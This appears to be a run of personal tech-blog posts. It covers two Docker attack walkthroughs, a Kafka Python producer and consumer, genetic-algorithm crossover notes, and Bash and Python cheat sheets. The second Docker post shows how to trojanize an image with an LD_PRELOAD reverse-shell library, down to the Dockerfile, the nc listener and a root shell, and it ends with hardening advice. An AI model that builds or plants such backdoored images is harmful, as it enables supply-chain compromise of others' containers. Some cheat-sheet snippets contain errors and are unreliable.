• https://docs-stage.docker.com/engine/security/userns-remap/
• https://docs.docker.com/engine/reference/commandline/dockerd/

Docker registry mechanism allows to quick download images from the image repository. This makes the publish/pull processes much easier. Unfortunately, this great feature can open new possibilities to an attacker who can corrupt the image in the registry.

In this scenario, we assume that the attacker already got write access to the docker image repository (Like public one docker hub or steal developer’s/Jenkins’s credentials to the private docker registry)

Preconditions

• The attacker has to have write access to the docker repository
• No app signature checks applied

How to change docker images

Docker registry structure of locating images look like that:

repository/image:tag

Let assume we have a private registry with image busybox with tag latest

docker push localhost:5000/busybox

The push refers to repository [localhost:5000/busybox]
d2421964bad1: Pushed
latest: digest: sha256:c9249fdf56138f0d929e2080ae98ee9cb2946f71498fc1484288e6a935b5e5bc size: 527

As you see tag name is latest and Digest of the current image starts with c9249fd

Next step to be done is to take the rigged image and send it as busybox with tag latest

Let’s remove the current busybox image from local repo and rename alpine image to busybox and push into our registry

docker rmi busybox
docker image tag alpine localhost:5000/busybox
docker push localhost:5000/busybox

The push refers to repository [localhost:5000/busybox]
3e207b409db3: Pushed 
latest: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: 528

As you see tag name is latest and Digest of the current image starts with 39eda93

Let’s remove our image of fake busybox from our local repository

docker rmi localhost:5000/busybox:latest

Untagged: localhost:5000/busybox:latest
Untagged: localhost:5000/busybox@sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01

and pull it from our private registry

docker pull localhost:5000/busybox:latest

latest: Pulling from busybox
Digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01
Status: Downloaded newer image for localhost:5000/busybox:latest
localhost:5000/busybox:latest

Next step to be done is being sure that only digest has not been changed:

docker run -it localhost:5000/busybox:latest sh

/ # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.11.6
PRETTY_NAME="Alpine Linux v3.11"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

As we can see It is an easy way to change docker image in behind of tag. So pullers of specific docker repository wouldn’t be able to determine if the image changed.

Only noticeable thing changed was digests which can be used for image validity check.

Way to secure

• Never download docker images from untrusted repository maintainers
• Limit registry write access to a minimum (In best case only build server)
• Implement the signing of docker images (see: https://github.com/theupdateframework/notary)
• Be prepared for this possibility:
  • Use docker custom security profiles like AppArmor, Seccomp
  • Use dynamic analysis tools like Remux
  • Don’t execute images with excessive privileges (namespaces, privileged flag, added capabilities)

How to create your own docker registry

To run own docker registry you need to have docker engine version >=1.6.0

docker run -d -p 5000:5000 --name registry registry:2

Unable to find image 'registry:2' locally
2: Pulling from library/registry
cbdbe7a5bc2a: Already exists 
47112e65547d: Pull complete 
46bcb632e506: Pull complete 
c1cc712bcecd: Pull complete 
3db6272dcbfa: Pull complete 
Digest: sha256:8be26f81ffea54106bae012c6f349df70f4d5e7e2ec01b143c46e2c03b9e551d
Status: Downloaded newer image for registry:2
437d56f489f27e990b6b6e7b43358c670087b5731474a086b52713067056a728

Docker registry is simply docker image we run as a container. If everything came fine we should see running docker registry container:

docker ps

CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
437d56f489f2        registry:2          "/entrypoint.sh /etc…"   30 seconds ago      Up 28 seconds       0.0.0.0:5000->5000/tcp   registry

Ok now let be sure that we don’t have any repository in our docker registry:

curl -X GET localhost:5000/v2/_catalog

{"repositories":[]}

Then we can build or retag an image and push into the local registry

docker build .
docker push localhost:5000/myfirstimage

Now let see if our local registry has been updated:

docker push localhost:5000/myfirstimage

The push refers to repository [localhost:5000/myfirstimage]
1079c30efc82: Pushed
latest: digest: sha256:a7766145a775d39e53a713c75b6fd6d318740e70327aaa3ed5d09e0ef33fc3df size: 527

Let’s check if the image is placed on the repository:

curl -X GET localhost:5000/v2/_catalog

{"repositories":["myfirstimage"]}

and what tags for the image myfirstimage are place in docker repository:

curl -X GET localhost:5000/v2/myfirstimage/tags/list

{"name":"myfirstimage","tags":["latest"]}

As everything is in place the client can pull the image with the command:

docker pull localhost:5000/myfirstimage

To stop the process and remove all the data we need to run:

docker container stop registry && docker container rm -v registry

Sources

• https://docs.docker.com/registry/
• https://github.com/theupdateframework/notary
• https://docs.docker.com/engine/security/seccomp/
• https://docs.docker.com/engine/security/apparmor/
• https://github.com/REMnux/docker
• https://docs.remnux.org/run-tools-in-containers/remnux-containers
• https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

Using trustworthy docker images is one of the most important parts of securing system. Easily, the attacker can prepare a docker image (by changing entrypoint, adding reverse shell or changing running user) and publish a malicious image on docker registry.

This section shows the way of trojanizing docker images by adding a reverse shell.

Precondition

For the testing purpose, it is needed to have nmap installed:

sudo apt update
sudo apt install -y nmap

The next step to be done is the dockerscan installation. It is analysis/hacking tool for docker images.

git clone https://github.com/cr0hn/dockerscan
cd dockerscan
sudo python3.6 setup.py install

Preparing exploited image - DockerScan

The image I choose for exploiting is ubuntu:latest. Let’s download it and save it into the backdoor folder.

mkdir backdoor && cd backdoor
docker pull ubuntu:latest
docker save ubuntu:latest -o ubuntu-orginal

Also, for proper dockerscan working, we need to set 2 environment variables by placing it to .bashrc file:

export LC_ALL=C.UTF-8
export LANG=C.UTF-8

Next step is to find IP address of the machine from which we listen for a message from trojanized image. For the purpose of this presentation, I would use docker host IP address in the same machine

ifconfig docker0

docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:78:ec:8f:87  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0  

Now we can use dockerscan trojanize feature to add reverse shell into

dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized

docker@docker:~/backdoor$ dockerscan image modify trojanize ubuntu-orginal -l 172.17.0.1 -p 8888 -o ubuntu-trojanized
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'ubuntu-orginal'
[ * ] Image trojanized successfully
[ * ] Trojanized image location:
[ * ]   > /home/docker/backdoor/ubuntu-trojanized.tar
[ * ] To receive the reverse shell, only write:
[ * ]   > nc -v -k -l 172.17.0.1 8888
docker@docker:~/backdoor$ ls
ubuntu-orginal  ubuntu-trojanized.tar

Next, it is needed to load the trojanized image:

docker load -i ubuntu-trojanized.tar 

The result should look like that:

3d87fd0aaa70: Loading layer [==================================================>]  30.72kB/30.72kB
Loaded image: ubuntu:latest

The image has been created attacker can run backdoor

Preparing exploited image - Manual Way

DockerScan use LD_PRELOAD , Linux dynamic linker feature to inject malicious reverse shell library. In this section would be shown how to achieve the same result in a manual way.

Before starting the manual process, let’s remove the trojanized image:

docker image rm ubuntu:latest --force

Preparing DockerFile

We would use the same reverse shell library placed in docker scan GitHub page (https://github.com/cr0hn/dockerscan/blob/master/dockerscan/actions/image/modifiers/shells/reverse_shell.so).

Let’s prepare DockerFile with revshell inside for the same ubuntu image

FROM ubuntu:latest

COPY reverse_shell.so /usr/share/lib/reverse_shell.so
ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
ENV REMOTE_ADDR=172.17.0.1
ENV REMOTE_PORT=8888

CMD ["/bin/bash"]

Dockerfile explanation:

File defined in this environment variable LD_PRELOAD would be loaded before any other library (including the C runtime, libc.so). So this runs the reverse shell library before user start his/her shell.

REMOTE_ADDR, REMOTE_PORT - environment variables needed by reverse_shell library

Now let’s build DockerFile

docker build --tag=ubuntu .

Result:

docker build --tag=ubuntu .
Sending build context to Docker daemon  12.29kB
Step 1/6 : FROM ubuntu:latest
 ---> d70eaf7277ea
Step 2/6 : COPY reverse_shell.so /usr/share/lib/reverse_shell.so
 ---> Using cache
 ---> 44a9ff4b409f
Step 3/6 : ENV LD_PRELOAD=/usr/share/lib/reverse_shell.so
 ---> Using cache
 ---> acad76bec7fa
Step 4/6 : ENV REMOTE_ADDR=172.17.0.1
 ---> Using cache
 ---> 7f37969b574a
Step 5/6 : ENV REMOTE_PORT=8888
 ---> Using cache
 ---> 4c658bdb781a
Step 6/6 : CMD ["/bin/bash"]
 ---> Using cache
 ---> a984d02509ff
Successfully built a984d02509ff
Successfully tagged ubuntu:latest

The image has been created attacker can run backdoor

Running backdoor

Next step would be to open in another tab netcat to listen on the IP we specified before with command:

nc -v -k -l 172.17.0.1 8888

Listening on jacek 8888

When netcat is listening from our IP is time to download trojanized container by the victim.

The last step is to run a shell on the infected image:

docker run -it ubuntu:latest /bin/bash

When user run trojanized shell netcat listener should connect through reverse shell to malicious container. So the attacker can remotely execute commands on the infected container.

➜  ~ nc -v -k -l 172.17.0.1 8888
Listening on jacek 8888
Connection received on 172.17.0.2 36408
connecting people
id
uid=0(root) gid=0(root) groups=0(root)

How to secure

• Use private docker register that only your build server produce images
• Never download docker images from untrusted repository maintainers
• Limit registry write access to a minimum (In best case only build server)
• Implement the signing of docker images (see: https://github.com/theupdateframework/notary)
• Use docker custom security profiles like AppArmor, Seccomp
• Use dynamic analysis tools like Remux

Sources

• https://github.com/cr0hn/dockerscan
• https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
• https://www.slideshare.net/cr0hn/rootedcon-2017-docker-might-not-be-your-friend-trojanizing-docker-images/1
• https://blog.secureideas.com/2020/10/ld_preload-introduction.html

Sometimes it can happen that we need quickly add some messages into kafka topic. e.g. need to propagate some fake data into development environment. Python api allow for quick integration with kafka topic.

Repository with working example could be found in here.

Setup Kafka

At the beginning we need to install and run kafka server. If you already have up and running either zookeeper and kafka you can skip this section.

The quickest way is to install in your project directory:

mkdir scripts && cd scripts || exit
curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/install-kafka.sh -o install-kafka.sh && chmod 777 install-kafka.sh && ./install-kafka.sh
curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/run-zookeeper.sh -o run-zookeeper.sh && chmod 777 run-zookeeper.sh
curl -fsSL https://raw.githubusercontent.com/greencashew/kafka-python-random-data-example/main/scripts/run-kafka.sh -o run-kafka.sh && chmod 777 run-kafka.sh

Kafka should be installed in vendor directory. KAFKA_HOME should be defined in .env file. In scripts dir it should appear run-zookeeper.sh ,run-kafka.sh scripts.

To run kafka open terminal window under scripts:

./run-zookeeper.sh

In another window run kafka server:

./run-kafka.sh

Python dependencies

Before start project it is needed to add required libraries into requirements.txt file:

Faker==6.6.2
kafka-python

Another step is to install virtual environment and missing dependencies:

virtualenv venv
source venv/bin/activate
pip install -r requirements.txt

Producer

In example below we can see how to propagate fake trip invoices into kafka topic. You have to remember to change BOOTSTRAP_SERVER if it is different one.

from kafka import KafkaProducer
import json
import time
import datetime
from faker import Faker

KAFKA_TOPIC = "invoices"
BOOTSTRAP_SERVER = 'localhost:9092'

fake = Faker()

def get_random_invoice():
    tax_percentage = 12
    net_price = fake.random_int(min=3, max=15)
    date_time_invoice_created = fake.date_time_between(start_date='-20y', end_date='now', tzinfo=None) \
        .strftime('%Y-%m-%dT%H:%M:%S')
    return {
        "id": fake.random_number(digits=12),
        "name": fake.name(),
        "date": date_time_invoice_created,
        "address": fake.address().replace("\n", " "),
        "startGate": fake.city(),
        "exitGate": fake.city(),
        "price": {
            "net": net_price,
            "taxPercentage": tax_percentage,
            "total": net_price + (net_price * (tax_percentage / 100))
        }
    }


def json_serializer(data):
    return json.dumps(data).encode("utf-8")


producer = KafkaProducer(bootstrap_servers=[BOOTSTRAP_SERVER],
                         value_serializer=json_serializer)

if __name__ == "__main__":
    while 1:
        random_invoice = get_random_invoice()
        print("{}: {}".format(datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S'), random_invoice))
        producer.send(KAFKA_TOPIC, random_invoice)
        time.sleep(fake.random_int(0, 3))

To run producer.py simply use:

python3 ./producer.py

Consumer

from datetime import datetime

from kafka import KafkaConsumer
import sys

KAFKA_TOPIC = "invoices"
BOOTSTRAP_SERVER = 'localhost:9092'
GROUP_ID = 'consumerGroup1'
AUTO_OFFSET_RESET = 'earliest'

if __name__ == "__main__":
    consumer = KafkaConsumer(KAFKA_TOPIC,
                             group_id=GROUP_ID,
                             bootstrap_servers=BOOTSTRAP_SERVER,
                             auto_offset_reset=AUTO_OFFSET_RESET)
    try:
        for message in consumer:
            print("[{}][{}:{}:{}]: {}".format(
                datetime.now().strftime('%d-%m-%Y %H:%M:%S'),
                message.topic,
                message.partition,
                message.offset,
                message.value))

    except KeyboardInterrupt:
        sys.exit()

To run consumer.py simply use:

python3 ./consumer.py

End words

This is very basic example without serializers/deserializers applied. For more details i recommend visiting official documentation Python api also support avro schemas which is commonly used in kafka.

Sources

• https://kafka.apache.org/
• https://kafka-python.readthedocs.io/en/master/usage.html
• https://avro.apache.org/docs/current/gettingstartedpython.html
• https://github.com/greencashew/kafka-python-random-data-example

Path representation

• The most natural representation

TOUR:  0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle

PATH: (0 2 4 6 1 5 9 10 7 3 8)

Adjacency representation

• Tour is represented as a list of n cities.
• Each City connection is defined by a list index

TOUR:         0-2-4-6-1-5-9-10-7-3-8 - Connected Cities Cycle

INDEX:        0 1 2 3 4 5 6 7 8 9 10
ADJACENCY:   [2 5 4 8 6 9 1 3 0 10 7]

Ordinal representation

• Tour is represented as a list of n cities.
• i-th element of the list is a number

Translation:

Given:

• Tour to translate e.g. 0-2-4-6-1-5-9-10-7-3-8
• Reference list (example path) e.g. (0 1 2 3 4 5 6 7 8 9 10)
• Empty ordinal list ( )

Algorithm:

1. Find the position of tour i-th element in the reference list
2. Pick a number and append it to ordinal list
3. Remove number from the reference list
4. Pick next city from Tour.
5. Go to point 1

TOUR:            0-2-4-6-1-5-9-10-7-3-8
INDEX:           0 1 2 3 4 5 6 7 8 9 10
REFERENCE LIST: (0 1 2 3 4 5 6 7 8 9 10)

CONVERSION FROM TOUR(& REFERENCE) TO ORDINAL:

CONVERSION FROM ORDINAL(& REFERENCE) TO TOUR:
ORDINAL LIST:   (0 1 2 3 0 1 3 3 1 0 0)
REFERENCE LIST: (0 1 2 3 4 5 6 7 8 9 10)

Crossovers

Partially Mapped Crossover (PMX)

• Select two random cut points in strings - representing parent tours
• Mapping sections - Substrings between cut points
• Mapping sections are exchanged between parents
• Already present city it is replaced by the value from the previous parent

P - Parent
V - Offspring

P1 = (1 2 |3 4 5| 6 7 8)
P2 = (3 7 |5 1 6| 8 2 4)

Values map P1 <=> P2 :
3 <=> 5
4 <=> 1
5 <=> 6

V1 = (x x |5 1 6| x x x)
P1 = (1 2 |- - -| 6 7 8) - Apply rest of the values
----------------------------------
V1 = (x 2 |5 1 6| x 7 8) - Apply mappings 1 => 4, 6 => 5 => 3
V1 = (4 2 |5 1 6| 3 7 8) 


V2 = (x x |3 4 5| x x x)
P2 = (3 7 |- - -| 8 2 4) - Apply rest of the values
----------------------------------
V2 = (x 7 |3 4 5| 8 2 x) - Apply mappings 3 => 5 => 6, 4 => 1
V2 = (6 7 |3 4 5| 8 2 1)

Order Crossover (OX)

• Order of cities is important (relative sequence kept)
• Select two random cut points in strings
• Copy from 1 parent substring into offspring
• Rest fill with the second parent sequence
• Skip duplicates

P - Parent
V - Offspring

P1 = (1 2 |3 4 5| 6 7 8) - Create offspring from taken subsequence
P2 = (2 4 |6 8 7| 5 3 1)

V1 = (x x |3 4 5| x x x) - Rest fill with sequence from P2, starting from point P1 subsuqence end
V1 = (8 7 |3 4 5| 1 2 6) - If there is duplicate take next one from P2 sequence

V2 = (x x |6 8 7| x x x) - x-ies fill with sequence from P1
V2 = (4 5 |6 8 7| 1 2 3) - On duplicate take next one from P1 sequence

Cycle Crossover (CX)

• Creates offspring by exchange cycles between two parents
• The cycle is created by finding corresponding values between two parents, starting from the beginning

P - Parent
V - Offspring


P1 = (1 2 3 4 5 6 7 8 9)
P2 = (9 3 7 8 2 6 5 1 4)

1st Cycle - Start from 1 element at P1.
P1 | P2
1 => 1
8 <= 1
4 <= 8
9 <= 4
1 <= 9

1st Cycle: 1=>8=>4=>9=>1

2nd Cycle - Start from 2 element at P1.
P1 | P2
2 => 2
5 <= 2
7 <= 5
3 <= 7
2 <= 3

2nd Cycle: 2=>5=>7=>3=>2
3rd Cycle: 6=>6

Crossover on 2nd cycle:
P1 = (1 2 3 4 5 6 7 8 9)
V1 = (1 x x 4 x 6 x 8 9)
V1 = (1 3 7 4 2 6 5 8 9) - Fill missing P1=>P2 with 2nd cycle. Remember about DIRECTION

P2 = (9 3 7 8 2 6 5 1 4)
V2 = (9 x x 8 x 6 x 1 4) - Fill missing P2=>P1 with 2nd cycle. Remember about DIRECTION
V2 = (9 2 3 8 5 6 7 1 4)

Alternating edge crossover

• Builds the offspring from two parents by *randomly choosing an edge from the first parent
• Then selecting the appropriate edge from the second parent.
• Operator extends by choosing edges from alternating parents
• In case of duplication take the random remaining edge.

P - Parent
V - Offspring

P1 = 0-1-5-3-2-4
P2 = 0-1-2-5-3-4

Let's start from value 5 in P1

V1 = 5-3 - Find City 5 in P1 and pick next one
V1 = 5-3-4 - Find City 3 in P2 and pick next one
V1 = 5-3-4-0 - Find City 4 in P1 and pick next one
V1 = 5-3-4-0-1 - Find City 0 in P2 and pick next one
V1 = 5-3-4-0-1-2 - Pick random remaining as duplicate happen

Subtour chunks crossover

• More general version of Alternating edge
• Randomly choose how many transitions can be done before Parent switch
• In case of duplicates take random remaining

P1 = 0-1-5-3-2-4
P2 = 0-1-2-5-3-4

Let's start from value 5 in P1

V1 = 5-3-2-4 - Randomly chosen amount (3) of transitions from P1
V1 = 5-3-2-4-0-1 - Randomly chosen amount (2) of transitions from P2

Heuristic crossover

1. Choose random City as a starting point
2. Compare edges of parents. Edge with shorter distance added to child
3. The chosen the closest city is the starting point of next City selection
4. If the selected city is already in the child, replace the selected city with random one left.
5. Go to: 2, till the tour complete.

Source

• https://pl.wikipedia.org/wiki/Problem_komiwoja%C5%BCera
• A. E. Eiben, J. E. Smith: Introduction to Evolutionary Computing , Springer-Verlag, Berlin, 2003.
• https://youtu.be/HATPHZ6P7c4?t=194
• https://youtu.be/c2ft8AG8JKE
• https://youtu.be/DJ-yBmEEkgA?t=109

• Theorem explains why the GA is working.
• Schema - a template that identifies a subset of strings with similarities at certain string position.
• * the wildcard means 0 or 1 (Doesn’t matter)

S1 = (*01*00110) - this schema is represented by 4 strings (only changes filled):
V1 = (0  0     )
V2 = (0  1     )
V3 = (1  0     )
V4 = (1  1     )

• Schema Order o(S) is defined as the number of fixed positions in the template:

S1 =  (*1***1**0) o(S1) = 3
S2 = (*1**01*111) o(S2) = 6

• Schema Length δ(S) is the distance between first and last fixed position.

S1 =  (*1***1**0) δ(S1) = 9 - 2 = 7
S2 = (*1**01*111) δ(S2) = 10 - 2 = 8

• Schema Fitness is the average fitness of all strings matching the schema.

f(V) - Fitness of individual
f(S1) - Fitness of schema1

S1 = (*01*00110)
V1 = (001000110) f(V1) = 0.2
V2 = (001100110) f(V2) = 0.5
V3 = (101000110) f(V3) = 0.8
V4 = (101100110) f(V4) = 0.5

f(schema) = sum(fitness variables from schema) / (num variables from schema) 
f(S1) = [f(V1) + f(V2) + f(V3) + f(V4)] / 4 = 4 / 4 = 1

Effect of GA on a schema

Effect of Selection on Schema

• assume fitness proportional selection

f(S1) - Fitness of schema1
f(all) - Average fitness of all individuals
M(S1) - Excepected number of individuals from schema

M(S1) = f(S1) / f(all)

Schemas with fitness f(S1) > f(all) are likely to appear more in the next generation

Effect of Crossover on Schema

• assume the single-point crossover

Schema S1 survives crossover operation if at least one from a parent and offspring is an instance of the schema S1

Crossover survival example:

S1 = (* 1 0  * *)

P1 = (1 1 0| 1 0) ∈ S1 
P2 = (1 0 1| 1 1) ∉ S1
V1 = (1 1 0  1 1) ∈ S1 => Schema SURVIVED
V2 = (1 0 1  1 0) ∉ S1

--------------------------------------

P1 = (1 1| 0 1 0) ∈ S1 
P2 = (1 0| 1 1 1) ∉ S1
V1 = (1 1  1 1 1) ∉ S1 
V2 = (1 0  0 1 0) ∉ S1
Schema DESTROYED

Calculate probability if crossover occurs within the defining length bits:

m - total length 
δ(S1) - Schema defining length of schema S1
Pd(S1) - Probability that crossover happen within defining length of schema S1

Pd(S1) = δ(S1) / (m - 1)


S1 = (*10**)
l = 5
δ(S1) = 5 - 2 = 3

Pd(S1) = 3 / (5 - 1) = 3/4

Schemas with low order (number of fixed positions) are more likely to survive.

Effect of Mutation on Schema

• assume mutation is applied gene by gene

Pm - probability of particular gene mutation
o(S1) - Order of schema S1
Ps(S1) - Probability that schema S1 survives mutation

Ps(S1) = (1 - Pm)^o(S1)

S1 = (*10**)
o(S1) = 2
Pm = 0.01 - Choosen by me

Ps(S1) = (1 - 0.01)^2 = 0.9801

For schema S1 to survive all fixed bits must remain unchanged.

Conclusion

Definitions

Schema theorem - schema with above-average fitness, short defining length and lower order is more likely to survive

Building-block hypothesis - GA works well when short, low-order, highly-fit schemas recombine to form more highly fit, higher-order schemas.

Criticism

Schema theorem assumes that GA maintains an infinitely large population.

Sources

• Z. Michalewicz: Genetic Algorithms + Data Structures =Evolution Programs, Third Edition, Springer-Verlag, Berlin, 1996.
• https://en.wikipedia.org/wiki/Schema_(genetic_algorithms)

Variables

Set and get

local var="Jan"
echo $var

Arrays

Indexed - Standard arrays with number as index array_var=(value1 value2 value3)

Associative - Index could be any string array_var=([text-index]=value [text-index2]=value2)

Declare

Indexed

array_var=()

array_var=(value1 value2 value3)

declare -a array_var

Associative

declare -A array_var

Conversion from String

Convert string to array. With space separator " “

var_string='string is automatically converted'
array=( "$var_string" )
echo ${array[0]}

Print/Get array elements

Get first array element

array=(value1 value2 value3)
echo ${array[1]}
`value1`

Get all array elements

array=(value1 value2 value3)
echo ${array[@]}

Get array size

echo "${#array[@]}"

Get index of array element

array=(feb may jan)
value='jan'

for i in "${!array[@]}"; do
   if [[ "${array[$i]}" = "${value}" ]]; then
       echo "${i}";
   fi
done

Output:

2

Merge arrays

combined=( "${array1[@]}" "${array2[@]}" )

Merge arrays and remove duplicates

no_duplicates=( $(printf '%s\n' "${array[@]}" | sort -uz) )

Check if array contains some value

function contains(){
        if [[ " ${some_array[@]} " =~ " ${some_value} " ]]; then
          echo "FOUND"
        else
          echo "NOT FOUND"
        fi
}

Conditionals

Simple if else

if [ "true" = "false" ] then
    echo You may go to the party.
elif [ "false" == "true" ] then
    echo You may go to the party but be back before midnight.
else
    echo You may not go to the party.
fi

test command => In conditionals: []

value=0
[[ $(test $value) -eq 1 ]] || echo "Condition not fulfilled."

Output:

Condition not fulfilled.

String operations

Replace space with new line

echo "String with spaces"  | tr ' ' '\n'

Output:

String
with
spaces

Substitute words in variable:

name="Marko"
grade=5
input="Hello I'm #name. My grade is #grade."
command=$(echo "$input" | sed "s/#name/$name/gi" | sed "s/#grade/$grade/gi")
echo $command

Output:

Hello I'm Marko. My grade is 5.

Files

for through files in path

for path in /some/path/*; do
    readFile "${path}"
done

Read line in a file with empty lines, spaces and comments removal

sed -e 's/[[:space:]]*#.*// ; /^[[:space:]]*$/d' $1 | while IFS= read -r line || [ -n "$line" ];
do
    echo $line
done

Exponentiation

2 ** 4 #out 16

Modulo: (Rest of the division)

5 % 2 #out 1

Variable definition

var=5
super_crazy_var=5

Comment:

# Some comment

String

String definition (In quotes):

"I can't touch anything"

Print variable:

print(var)

Format method:

print('My number is {} and my name is {}'.format(2,"Jan"))

Format method 2:

print('My number is {num} and my name is {name} and {num}'.format(num=2,name="Jan"))

Indexing of strings:

pintf(s[0])

Slicing: (From 0 to 4)

s="Hello world!"
s[:4] #out 'Hell'

Data types

Booleans:

True, False

List:

list = ['a', 'b', 'c']

List append:

list.append('d')

Change value in list:

list[0]="new value"

Neasted list:

list = [1,2,[1,2,["double_nested"]]]
print(list[3][2]) #output ["double_neasted"]
print(list[3][2][0]) #output "double_neasted"

Dictionary:

dic = {"key1":"value", "key2":1}

Neasted Dictionary:

dic = {"k1":{"inner_key":[1,2]}}

Touple(Immutable):

touple = (1,2,3)
print(t[0]) #out 1

Difference between tuple and list:

• List - Mutable
• Touple - Immutable

Set(collection of unique elements):

set={1,1,1,2,2,2,3} #out {1,2,3}

Array to Set conversion:

set([1,1,1,2,2,2,2,3,3]) #out {1,2,3}

Add to set:

set={1,1,1,2,2,2,3} #out {1,2,3}
set.add(5)
print(set) #out {1,2,3,5}

Comparators

Equal:

1 == 2 #False

And:

(1 < 2 )and (2 > 3) #False

Or:

(1 < 2) or (2 > 1) #True

If

if 1 < 2:
    print('True')

If,elsif,else:

if 1 == 2:
    print('Never')
elif 3 == 3:
    print('True')
else:
    print('else')

Loops

For:

seq = [1,2,3,4,5]
for num in seq:
    print('Num: ' + str(num))

While:

i = 1
while i < 5:
    print('i is: {}'.format(i))
    i+=1

Range:

range(0, 5)
for x in range(0, 5):
    print(x) # 0-5

List, range:

list(range(10))

List comprehension:

[num**2 for num in range(5)] #out [0, 1, 4, 9, 16]

Functions

Function:

def my_func(param1):
    print(param1)
my_func('Hello world!')
my_func #out <function my_func at 0x7f81432c9b90> #what is the object

Default function parameter value:

def my_func(name='Default'):
    print('Hello ' + name)
my_func() #out Hello Default

Function return:

def square(num):
    return num**2

Documentation string:

def square(num):
"""
This is documentation
Multiple lines
"""
    return num**2

Collection methods

Map function: Apply function to each element of seq

def times2(var):
    return var*2

list(map(times2, list(range(4)))) #out [0, 2, 4, 6]

Lambda expressions:

times2 = lambda var:var*2

list(map(times2, list(range(4)))) #out [0, 2, 4, 6]

Pass lambda as param:

list(map(lambda num: num*3, list(range(4)))) #out [0, 3, 6, 9]

Filter:

list(filter(lambda num: num%2 == 0, range(4))) #out [0, 2]

String methods:

s = 'Some string value'
s.lower() # lowercase
s.upper() # uppercase
s.split() # split by whitespace
s.split('#pattern') # split by #pattern

Dictionary methods:

d = {'k1': 1, 'k2': 2}
d.keys() #out dict_keys(['k1', 'k2'])
d.items() #out dict_items([('k1', 1), ('k2', 2)])
d.values() #out dict_values([1, 2])

List methods:

list = [0,1,2,3,4]
list.pop() #return and remove last element, out 4
list.pop(0) #return and remove element of index 0, out 0
list.append("value") #out [1, 2, 3, 'value']

In operator:

'x' in [1, 2, 3] #out False
'x' in ['x', 'y', 'z'] #out True

Touple unpacking:

x = [(1,2),(3,4),(5,6)]
for (a,b) in x:
    print(b) #out 2, 4, 6